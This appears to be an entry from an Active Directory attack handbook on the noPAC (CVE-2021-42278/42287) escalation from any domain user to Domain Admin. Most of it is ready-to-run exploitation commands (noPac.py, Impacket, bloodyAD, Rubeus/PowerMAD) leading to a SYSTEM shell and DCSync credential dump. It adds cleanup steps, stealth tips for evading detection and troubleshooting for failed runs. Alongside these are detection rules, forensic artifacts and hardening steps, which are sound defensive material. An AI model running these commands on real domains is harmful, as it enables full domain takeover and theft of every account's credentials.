🔵 Attack #44 — noPAC / Sam-the-Admin (CVE-2021-42278/42287)
📖 How It Works
noPAC (Sam-the-Admin) chains two CVEs to escalate from any domain user to Domain Admin:
- CVE-2021-42278 — Allows a machine account’s
sAMAccountNameto not end with$, mimicking user accounts - CVE-2021-42287 — KDC fails to verify PAC when a TGT is requested after renaming an account
The attacker creates a machine account, renames it to match a DC’s sAMAccountName (without $), requests a TGT, renames it back, then requests a service ticket — the KDC confuses the identity and issues a ticket with DC-level privileges.
[!info]+ Technical Deep-Dive — sAMAccountName Confusion & PAC Bypass
ris:FileList
- Step 1 — Machine Account Creation: Any domain user can create machine accounts (up to
ms-DS-MachineAccountQuota, default = 10). The attacker creates a machine accountNOPAC$- Step 2 — sAMAccountName Rename (CVE-2021-42278): The attacker renames
NOPAC$toDC01(removing the$suffix). Normally, machine account sAMAccountNames MUST end with$— this CVE bypasses that validation- Step 3 — TGT Request: The attacker requests a TGT as
DC01using the machine account’s known password. The KDC issues a TGT forDC01— the account currently namedDC01- Step 4 — Rename Back: The attacker renames the account back to
NOPAC$(restoring the$)- Step 5 — S4U2Self (CVE-2021-42287): The attacker uses the TGT (issued for
DC01) to request a service ticket via S4U2Self, impersonating Administrator. The KDC looks upDC01— the renamed account is nowNOPAC$, so it doesn’t match. The KDC then searches forDC01$(appending$) and finds the real Domain Controller- Result: The KDC issues a service ticket as if the request came from the real
DC01$machine account — with full DC privileges, including the ability to DCSync- The core issue is that the KDC doesn’t properly validate the PAC (Privilege Attribute Certificate) when the account name doesn’t match — it falls back to appending
$and finding a different account entirely
⚙️ Prerequisites
| Requirement | Detail |
|---|---|
| Any domain user credentials | To create a machine account (needs MAQ > 0) |
| MachineAccountQuota > 0 | Default = 10; allows any domain user to create machine accounts |
| Unpatched DCs | Patched November 2021 (KB5008102 / KB5008380) |
| Network access to DC | Standard Kerberos (TCP 88) and LDAP (TCP 389/636) ports |
🛠️ Tools
| Tool | Platform | Version | Notes |
|---|---|---|---|
| noPac.py | Linux/Python | Python 3 | Automated exploit — scan + exploit in one command |
| sam-the-admin | Linux/Python | Python 3 | Alternative automated exploit script |
| Impacket | Linux | ≥ 0.10.0 | addcomputer.py, renameMachine.py, getTGT.py, getST.py — manual exploitation |
| bloodyAD | Linux/Python | ≥ 1.0.0 | Machine account creation and sAMAccountName modification |
| NetExec | Linux | ≥ 1.1.0 | -M nopac module — scan for vulnerability |
| Rubeus | Windows (.NET) | ≥ 2.0 | asktgt + s4u for Windows-based manual exploitation |
| PowerMAD | Windows/PowerShell | Latest | New-MachineAccount — PowerShell machine account creation |
⏱️ Time-to-Execute Estimates
| Operation | Time | Notes |
|---|---|---|
| Vulnerability scan | 3–5 seconds | noPac.py -scan mode |
| Automated exploitation | 10–30 seconds | Full chain: create → rename → TGT → rename → S4U → shell |
| Manual exploitation (6 steps) | 60–120 seconds | Each Impacket command takes a few seconds |
| Full chain → DCSync | 30–60 seconds | From any domain user to full credential dump |
💻 Full Commands
🔵 Check Vulnerability
# ── noPac.py scan mode ────────────────────────────────────────────────────────
python3 noPac.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \
-dc-host DC01 --scan
# Output: "Current ms-DS-MachineAccountQuota = 10"
# Output: "DC01 is VULNERABLE" or "DC01 is NOT VULNERABLE"
# ── NetExec noPAC module ──────────────────────────────────────────────────────
nxc smb DC01.corp.local -u low_user -p 'Password1' -M nopac
# Output: [+] VULNERABLE or [-] not vulnerable
# ── Check MAQ manually ────────────────────────────────────────────────────────
nxc ldap DC01.corp.local -u low_user -p 'Password1' -M maq
# Or:
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
get object 'DC=corp,DC=local' --attr ms-DS-MachineAccountQuota
🔴 Automated Exploitation (Recommended)
# ── noPac.py — fully automated → SYSTEM shell on DC ──────────────────────────
python3 noPac.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \
-dc-host DC01 -shell --impersonate Administrator -use-ldap
# Output: Interactive SYSTEM shell on DC01
# From here: secretsdump.py, mimikatz, or any post-exploitation
# ── noPac.py — get service ticket only (no shell) ────────────────────────────
python3 noPac.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \
-dc-host DC01 --impersonate Administrator -use-ldap -dump
# Dumps NTDS via DCSync using the impersonated Administrator ticket
# ── sam-the-admin (alternative) ───────────────────────────────────────────────
python3 sam_the_admin.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \
-dc-host DC01 -shell
🔴 Manual Exploitation (Step-by-Step)
# ── Step 1: Create machine account ────────────────────────────────────────────
addcomputer.py -computer-name 'NOPAC$' -computer-pass 'FakePass!' \
-dc-ip 10.10.10.10 corp.local/low_user:'Password1'
# Creates NOPAC$ with password FakePass!
# ── Step 2: Rename sAMAccountName to DC01 (remove the $) ─────────────────────
python3 renameMachine.py -current-name 'NOPAC$' -new-name 'DC01' \
corp.local/low_user:'Password1' -dc-ip 10.10.10.10
# Now the machine account's sAMAccountName = "DC01" (without $)
# ── Step 3: Request TGT as "DC01" ────────────────────────────────────────────
getTGT.py corp.local/'DC01':'FakePass!' -dc-ip 10.10.10.10
# Outputs: DC01.ccache — TGT for the account named "DC01"
# ── Step 4: Rename back to NOPAC$ ────────────────────────────────────────────
python3 renameMachine.py -current-name 'DC01' -new-name 'NOPAC$' \
corp.local/low_user:'Password1' -dc-ip 10.10.10.10
# sAMAccountName restored to NOPAC$ — KDC will now look for "DC01$" (the real DC)
# ── Step 5: Request service ticket (S4U2Self) using TGT ──────────────────────
export KRB5CCNAME=DC01.ccache
getST.py -spn cifs/DC01.corp.local -impersonate Administrator \
-k -no-pass corp.local/'DC01' -dc-ip 10.10.10.10
# KDC confusion: looks up "DC01", finds nothing, appends "$", finds real DC01$
# Issues service ticket as Administrator for cifs/DC01.corp.local
# ── Step 6: Use the impersonated Administrator ticket ─────────────────────────
export KRB5CCNAME=Administrator@cifs_DC01.corp.local@CORP.LOCAL.ccache
secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local
# Full DCSync as Administrator — extracts all domain credentials
psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local
# Interactive SYSTEM shell on DC01
bloodyAD Alternative (Machine Account Creation)
# ── Create machine account with bloodyAD ──────────────────────────────────────
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
add computer 'NOPAC$' 'FakePass!'
# ── Modify sAMAccountName ────────────────────────────────────────────────────
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
set object 'NOPAC$' sAMAccountName -v 'DC01'
Windows-Based (Rubeus + PowerMAD)
# ── Create machine account with PowerMAD ──────────────────────────────────────
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount NOPAC -Password $(ConvertTo-SecureString 'FakePass!' -AsPlainText -Force)
# ── Rename (requires AD module or direct LDAP modification) ──────────────────
Set-ADComputer NOPAC -SamAccountName 'DC01'
# ── Request TGT with Rubeus ──────────────────────────────────────────────────
.\Rubeus.exe asktgt /user:DC01 /password:FakePass! /domain:corp.local /dc:DC01.corp.local /nowrap
# ── Rename back ───────────────────────────────────────────────────────────────
Set-ADComputer NOPAC -SamAccountName 'NOPAC$'
# ── S4U with Rubeus ──────────────────────────────────────────────────────────
.\Rubeus.exe s4u /ticket:<base64_TGT> /impersonateuser:Administrator /msdsspn:cifs/DC01.corp.local /ptt
# Ticket injected into current session — access DC01 as Administrator
🔴 Post-Exploitation Cleanup
# ── Delete the machine account after exploitation ─────────────────────────────
addcomputer.py -computer-name 'NOPAC$' -dc-ip 10.10.10.10 \
corp.local/Administrator:'Password1' -delete
# ── Or via bloodyAD ──────────────────────────────────────────────────────────
bloodyAD -d corp.local -u Administrator -p 'Password1' --host DC01.corp.local \
remove computer 'NOPAC$'
🎯 OPSEC Tips
- noPac.py automated mode is fast but creates a machine account — this is logged (Event 4741) and persists in AD unless cleaned up
- Always delete the machine account after exploitation — leftover accounts with non-standard names are forensic artifacts
- The sAMAccountName rename is the most detectable step — Event 4742 logs the attribute change; this is unusual for machine accounts
- Use
-use-ldapflag with noPac.py — some environments have issues with the default SAMR protocol for machine account operations - Manual exploitation is stealthier than automated — you control the timing between each step and can add delays
- Check MAQ before starting — if MachineAccountQuota = 0, you can’t create machine accounts; look for existing machine accounts you can modify instead
- Clean up ccache files after exploitation —
DC01.ccacheand the impersonated ticket are evidence
📊 OpSec Ranking
| Method | Stealth | Speed | Reliability | Notes |
|---|---|---|---|---|
| noPac.py automated | 🟡 Medium | 🟢 Fast | 🟢 High | Fast but creates machine account + renames |
| Manual Impacket steps | 🟡 Medium | 🟡 Medium | 🟢 High | More control; can add delays between steps |
| Rubeus + PowerMAD (Windows) | 🟡 Medium | 🟡 Medium | 🟡 Medium | PowerShell logging catches module loads |
| bloodyAD + Impacket | 🟡 Medium | 🟡 Medium | 🟢 High | Good alternative; fewer dependencies |
🛡️ Detection — Event IDs
| Event ID | Source | What to Look For |
|---|---|---|
| 4741 | Security Log (DC) | Machine account creation — NOPAC$ or unusual naming pattern |
| 4742 | Security Log (DC) | Machine account renamed — sAMAccountName changed (critical indicator) |
| 4768 | Security Log (DC) | TGT request for account matching DC name (e.g., DC01 without $) |
| 4769 | Security Log (DC) | Service ticket request (S4U2Self) using the confused identity |
| 4743 | Security Log (DC) | Machine account deleted (cleanup by attacker) |
🔎 Sigma Rules
# ── SigmaHQ — Machine Account sAMAccountName Change (noPAC Indicator) ────────
title: Machine Account sAMAccountName Modification (noPAC/CVE-2021-42278)
id: c7d8e9f0-nopac-samaccountname-change
status: stable
logsource:
product: windows
service: security
detection:
selection:
EventID: 4742
keywords:
AttributeValue|contains: 'sAMAccountName'
condition: selection
level: critical
tags:
- attack.privilege_escalation
- attack.t1068
- cve.2021.42278
- cve.2021.42287
# ── SigmaHQ — TGT Request for DC Name Without $ Suffix ───────────────────────
title: TGT Request for Account Matching DC Name (noPAC Indicator)
id: a1b2c3d4-nopac-tgt-dc-name
logsource:
product: windows
service: security
detection:
selection:
EventID: 4768
TargetUserName|endswith: '' # Does NOT end with $
filter_dc:
TargetUserName|endswith: '$'
filter_users:
TargetUserName|re: '^(?!DC|dc)' # Only alert on names matching DC naming patterns
condition: selection and not filter_dc
level: high
🛡️ EDR-Specific Detections
[!warning]+ Microsoft Defender for Identity (MDI)
ris:Windows
- “Suspected noPac exploitation (CVE-2021-42278/42287)” — specific detection for the sAMAccountName rename + TGT request pattern
- MDI correlates machine account creation → rename → TGT request → rename-back as a single attack sequence
- “Suspicious machine account name change” — fires on any machine account sAMAccountName modification that removes the
$suffix- MDI added noPAC detection within weeks of the CVE disclosure — high-confidence alerting
[!warning]+ CrowdStrike Falcon
ris:Radar
- “noPAC/Sam-the-Admin Exploitation” — behavioral detection for the machine account creation → rename → Kerberos abuse chain
- Falcon detects automated exploitation tools (noPac.py, sam-the-admin) via process and network behavioral analysis
- Also detects the Kerberos ticket manipulation (S4U2Self with confused identity)
[!warning]+ Elastic Security
ris:FileList
- Rule: “Machine Account sAMAccountName Changed” — Event 4742 correlation for sAMAccountName attribute modifications
- Rule: “TGT Requested for Account Matching Domain Controller Name” — Event 4768 correlation
- Rule: “Rapid Machine Account Create-Rename-Delete Pattern” — temporal correlation of Events 4741→4742→4743
🔬 Forensic Artifacts
| Artifact | Location | Details |
|---|---|---|
| Machine account creation | Event 4741 | New computer account NOPAC$ with creation timestamp |
| sAMAccountName change | Event 4742 | Machine account renamed — old value (NOPAC$) → new value (DC01) |
| TGT request | Event 4768 | TGT for DC01 (without $) — matches a DC naming pattern |
| S4U2Self ticket | Event 4769 | Service ticket request impersonating Administrator |
| Machine account deletion | Event 4743 | Account deleted (cleanup — if attacker was thorough) |
| ccache files | Attacker filesystem | DC01.ccache and Administrator@cifs_*.ccache — evidence of exploitation |
| AD attribute metadata | msDS-ReplAttributeMetaData on the machine account | sAMAccountName modification timestamps and originating DC |
| Kerberos ticket cache | DC LSASS memory | TGT and service tickets issued during the attack — volatile |
[!important]+ Windows Server Version & Patch Timeline
ris:Windows
- November 2021 (KB5008102/KB5008380): Initial patch released — fixes both CVE-2021-42278 and CVE-2021-42287
- April 2022: Enforcement phase — KDC rejects tickets without proper PAC validation
- July 2022: Full enforcement — PAC validation required; non-patched clients may experience authentication failures
- Server 2012 R2: Vulnerable if unpatched; enforcement timeline applies
- Server 2016: Vulnerable if unpatched; same timeline
- Server 2019: Vulnerable if unpatched; same timeline
- Server 2022: Vulnerable if unpatched (even though it was released before the CVE); patches available
- Server 2025: Shipped with fixes included — NOT vulnerable; PAC validation enforced by default
- The enforcement phase is critical — even after patching, there’s a grace period before the KDC rejects vulnerable tickets; check
PacRequestorEnforcementregistry key
🔒 Hardening & Prevention
# ── 1. Set MachineAccountQuota to 0 (prevent machine account creation) ────────
Set-ADDomain -Identity corp.local -Replace @{"ms-DS-MachineAccountQuota"="0"}
# Blocks any domain user from creating machine accounts
# ⚠️ May break self-service domain join — use targeted delegation instead
# ── 2. Apply November 2021 patches ───────────────────────────────────────────
# Verify patches:
Get-HotFix | Where-Object { $_.HotFixID -match 'KB5008102|KB5008380|KB5008212' }
# If empty → DC is vulnerable
# ── 3. Enable PAC validation enforcement ──────────────────────────────────────
# Registry key (post-patch):
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" `
-Name "PacRequestorEnforcement" -Value 2 -Type DWord
# Value 0 = Disabled (not recommended)
# Value 1 = Add PAC validation but don't enforce (default after Nov 2021 patch)
# Value 2 = Full enforcement (recommended — rejects tickets without PAC)
# ── 4. Monitor machine account creation and modification ──────────────────────
# GPO → Computer Configuration → Windows Settings → Security Settings →
# Advanced Audit Policy → Account Management →
# ✅ Audit Computer Account Management: Success, Failure
# ── 5. Alert on sAMAccountName changes for machine accounts ──────────────────
# SIEM query (Splunk example):
# source=WinEventLog:Security EventCode=4742 TargetUserName=*$
# | search "sAMAccountName" | table _time, TargetUserName, SubjectUserName
# ── 6. Restrict who can create machine accounts ──────────────────────────────
# If MAQ must be > 0, delegate machine account creation to specific OUs:
# Use fine-grained permissions instead of domain-wide MAQ
# ── 7. Monitor for DC-name TGT requests from non-DC accounts ─────────────────
# Alert on Event 4768 where TargetUserName matches a DC name but lacks $
# This is the definitive noPAC exploitation indicator
# ── 8. Deploy MDI for automated detection ─────────────────────────────────────
# MDI has specific noPAC detection since December 2021
🧩 Troubleshooting
| Error | Cause | Fix |
|---|---|---|
Machine account creation failed — quota exceeded | MachineAccountQuota = 0 or user already created max accounts | Check MAQ value; if 0, cannot exploit via this path — look for existing machine accounts to modify |
renameMachine.py: Access denied | Insufficient permissions to modify the machine account | Verify the user who created the account owns it; use the same user for rename; or try bloodyAD |
getTGT: KDC_ERR_C_PRINCIPAL_UNKNOWN | sAMAccountName rename didn’t take effect yet | Wait a few seconds for AD replication; verify rename with Get-ADComputer NOPAC -Properties sAMAccountName |
getST: KRB_AP_ERR_SKEW | Clock skew > 5 minutes | Sync time: ntpdate DC01.corp.local |
getST: KDC_ERR_BADOPTION | S4U2Self failed — DC may be patched | Verify DC patch status; if PacRequestorEnforcement = 2, the exploit is blocked |
noPac.py -shell hangs | Network connectivity issue or SMB blocked | Try -dump instead of -shell; or use the manual approach with getST.py + secretsdump.py |
STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT | Using machine account TGT incorrectly | Ensure you’re using the TGT from Step 3 (before rename-back) for the S4U request |
| Manual exploit: wrong ticket in Step 6 | Using TGT instead of S4U service ticket | After Step 5, export KRB5CCNAME=Administrator@cifs_DC01... (the S4U output), NOT the original TGT |
🗺️ MITRE ATT&CK
| Tactic | Technique ID | Sub-technique | Procedure | APT Groups |
|---|---|---|---|---|
| Privilege Escalation | T1068 | Exploitation for Privilege Escalation | Exploit CVE-2021-42278/42287 to escalate from any domain user to DA via sAMAccountName confusion | Ransomware operators (Conti, LockBit) |
| Credential Access | T1558 | Steal or Forge Kerberos Tickets | Abuse S4U2Self with confused identity to obtain Administrator service ticket | Chained technique |
| Persistence | T1136 | .002 — Domain Account | Create machine account as part of the exploitation chain | Supporting technique |
[!tip]+ Real-World Context
fas:Lightbulb
- noPAC was weaponized within days of disclosure (December 2021) — automated exploit tools appeared on GitHub almost immediately
- Conti ransomware group incorporated noPAC into their automated domain compromise playbook as a fast-path escalation from any domain user to DA
- LockBit affiliates used noPAC in early 2022 campaigns against healthcare and manufacturing targets
- noPAC is considered one of the most impactful AD privilege escalation vulnerabilities because it requires only any domain user account — no special permissions, no ACL abuse, just standard domain authentication
🔗 Attack Chain Context
[noPAC] ──→ Low-priv User → DA via Machine Account Naming Confusion
│
├──→ 💥 CVE-2021-42278 + CVE-2021-42287
├──→ 💻 Any domain user → SYSTEM shell on DC → DCSync (Attack #37)
├──→ 🎫 DCSync KRBTGT → Golden Ticket (Attack #11)
├──→ 💻 DCSync Administrator → Pass-the-Hash (Attack #4)
├──→ 🔗 Alternative to: Kerberoasting (Attack #2) → cracking → DA
├──→ 🔗 Compare: Zerologon (Attack #40) — unauth; noPAC needs any domain user
├──→ 📋 Patched Nov 2021, but legacy DCs may remain vulnerable
└──→ 💀 Defeated by: patch, set MAQ=0, enforce PacRequestorEnforcement=2, monitor account renames
✅ Attack #44 — noPAC complete.
🏁 Category 5 — DC & Replication Attacks is now COMPLETE (8/8 attacks).